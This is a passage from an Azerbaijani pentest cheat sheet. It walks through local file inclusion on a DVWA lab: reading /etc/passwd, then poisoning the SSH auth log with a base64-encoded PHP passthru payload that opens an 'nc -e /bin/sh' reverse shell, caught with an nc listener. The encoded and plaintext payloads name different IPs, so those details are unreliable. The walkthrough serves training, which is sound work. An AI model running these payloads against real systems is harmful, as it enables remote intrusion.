Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page

Was this helpful?

  1. Web Pentesting
  2. Local&Remote File İnclusion

Local File inclusion ilə reverse shell almaq

PreviousPraktiki nümunəNext401&403 Bypass

Last updated 1 year ago

Was this helpful?

Sınaq məqsədi ilə bunu DVWA-nın üzərində yoxlayacam.

Birinci saydın LFİ həssas olub olmadıqını yoxlayırıq.

URL hissəsində include.php hissəsini silib yerinə /etc/passwd yazıb yoxlayırıq.

Və nəticədə bizə /etc/passwd icində yazılanları göstərir.

Bununla biz LFİ olduqunu bildik.İndi /var/log/auth.log faylını oxumaqa çalışaq.

Biz burdan bir çox məlumat əldə edirik.İndi ssh ilə daxil olmaqa çalışaq əgər hər şeyi düz etmişiksə birim logumun gəlib /var/log/auth.log yazılmalıdı.Bunu yoxlamaq üçün ssh random bir ad və password yazırıq.

İndi isə səhifəni yenilədikdə görərikdi bizim logumun ora düşüb.

Deməli server bizim sorğumuzu emal edib auth.log faylına yazır.Beləliklə biz bura payload yazdırıb reverse shell ala bilerik bunun üçün aşağıdakı payload dan istifadə edirik.

<?passthru(base64_decode('bmMgLWUgL2Jpbi9zaCAxMC4wLjIuNCA3OQ=='));?>

passthru funkiyası php də verilən əmri runlamaq ucun istifadə olunur.

base64_decode bu funksiya base64 şifrələnmiş yazını deşifrələmək üçün istifadə olunur.

Bu payload reverse shell hissəsini base64 şifrələnib bunun səbəbi biz payloadı bir başa göndərə bilmirik.Buna görədə əvvəlcədən base64 ilə şifrələyib base64_decode funksiyasından istifadə edirik payload hədəfə catdıqdan sonra özü-özünü de deşifrələsin.Normalda payload aşağıdakı kimidi:

<?passthru(“nc -e /bin/sh 10.0.2.10 79”);?>

İndi bu payloaddan istifadə etmək üçün ssh ilə bağlanan zaman username hissəsinə bu payloadı yazırıq.

ssh "<?passthru(base64_decode('bmMgLWUgL2Jpbi9zaCAxMC4wLjIuNCA3OQ=='));?>"@10.0.2.10

Beləliklə payloadımız log lara yazıldı.İndi nc ilə dinləmə acıb səhifəni yeniləməliyik.

nc -lnvp 79

Nəticə olaraq reverse shell alırıq.

Mən reverse shell almaq üçün nc istifadə edirəm amma belə bir sual çıxır ortaya bəs hədəf sistemdə nc olmasa.

Bu problem deyil reverse shell almaqın başqa üsuları var.
http://10.0.2.10/dvwa/vulnerabilities/fi/?page=include.php
http://10.0.2.10/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://10.0.2.10/dvwa/vulnerabilities/fi/?page=/var/log/auth.log